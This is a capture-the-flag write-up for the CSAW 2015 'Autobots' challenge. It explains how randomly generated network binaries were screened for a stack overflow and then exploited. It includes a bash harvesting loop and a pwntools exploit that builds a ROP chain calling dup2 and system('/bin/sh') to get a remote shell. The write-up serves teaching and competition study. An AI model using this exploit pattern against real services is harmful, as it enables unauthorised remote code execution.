CSAW 2015 - Autobots
by conand & marcof
I hear bots are playing ctfs now. Note: Aslr has now been disabled for this challenge
The challenge did not provide any binary but just a remote service. Connecting to the remote service we got an ELF:
$ nc 52.20.10.244 8888 > binary
$ file binary
binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c9977e6ab77d506a99fd04551f255e27198584db, not stripped
Decompiling we easily found out that the executable spawned another service reading our input and writing back to the socket the same input.
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax@1
int result; // eax@1
__int64 v5; // [sp-100h] [bp-100h]@1
__int64 v6; // [sp-F0h] [bp-F0h]@1
int v7; // [sp-8h] [bp-8h]@1
int v8; // [sp-4h] [bp-4h]@1
v8 = socket(2, 1, 0);
memset(&v5, 0, 0x10uLL);
LOWORD(v5) = 2;
HIDWORD(v5) = htons(0);
WORD1(v5) = htons(0x5155u);
bind(v8, (const struct sockaddr *)&v5, 0x10u);
listen(v8, 10);
v7 = accept(v8, 0LL, 0LL);
read(v7, &v6, 0x13BuLL);
v3 = strlen((const char *)&v6);
write(v7, &v6, v3 + 1);
sub_40086F();
return result;
}
We noticed that the executables provided by the server were always different and ran on the remote host for about 1 second.
Downloading more binaries we noted that the only differences in the binaries were the service port, the dimension of the buffer, and the number of bytes read.
These parameters were randomly generated, leading sometimes to a buffer overflow.
Hence, the idea was to query the server until a vulnerable executable is generated.
$ checksec.sh --file binary
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH binary
NX was enabled on the binaries but there was no canary. Let’s ROP!
We grabbed libc from the server hosting Exploitables250 in the hope that it was the same also for this challenge, and it was. The challenge description stated ASLR had been disabled, so we did not need any memory leak to obtain a reference to the libc.
We wrote a bash script to download the executables, parse the output of objdump
, grep the randomly generated parameters, and pass them to the python exploit.
#!/bin/bash
HOST=52.20.10.244
PORT=8888
while true; do
nc ${HOST} ${PORT} > qweqwe
NEW_PORT=`objdump -d qweqwe | grep -n1 htons | tail -3 | head -1 | grep -o -P '(?<=0x).*(?=,)'`
BUFF_SIZE=`objdump -d qweqwe | grep lea | tail -4 | head -1 | grep -o -P '(?<=0x).*(?=\()'`
READ_SIZE=`objdump -d qweqwe | grep mov | tail -n15 | head -1 | grep -o -P '(?<=0x).*(?=,)'`
NEW_PORT_INT=`printf "%d\n" 0x${NEW_PORT}`
BUFF_SIZE_INT=`printf "%d\n" 0x${BUFF_SIZE}`
READ_SIZE_INT=`printf "%d\n" 0x${READ_SIZE}`
python exploit.py $NEW_PORT_INT $BUFF_SIZE_INT $READ_SIZE_INT
done
The python exploit simply checks if the service is vulnerable and, if so, builds the ROP chain to execute system("/bin/sh")
.
We used ropper to find the gadgets in the libc.
Since our input was bound to the socket we called dup2
to attach the socket to stdin/stdout.
Flag: flag{c4nt_w4it_f0r_cgc_7h15_y34r}
.
from pwn import *
from binascii import hexlify
import sys
host = '52.20.10.244'
port = int(sys.argv[1])
buff_size = int(sys.argv[2])
read_size = int(sys.argv[3])
if read_size <= buff_size + 160:
exit()
print "VULNERABLE!"
conn = remote(host, port)
read_ref = 0x00007ffff7b00800 # address of read in libc
read_offset = 0xeb800 # offset of read in libc
binsh_offset = 0x17ccdb
gadget_offset = 0x22b1a # pop rdi
gadget2_offset = 0x24805 # pop rsi
dup2_offset = 0xebfe0
system_offset = 0x46640
my_fd = 6 # file descriptor
payload = "A"*(buff_size + 8)
# ROP chain
payload += p64(read_ref - read_offset + gadget_offset)
payload += p64(my_fd)
payload += p64(read_ref - read_offset + gadget2_offset)
payload += p64(0)
payload += p64(read_ref - read_offset + dup2_offset)
payload += p64(read_ref - read_offset + gadget_offset)
payload += p64(my_fd)
payload += p64(read_ref - read_offset + gadget2_offset)
payload += p64(1)
payload += p64(read_ref - read_offset + dup2_offset)
payload += p64(read_ref - read_offset + gadget_offset)
payload += p64(read_ref - read_offset + binsh_offset)
payload += p64(read_ref - read_offset + system_offset)
conn.send(payload)
conn.interactive()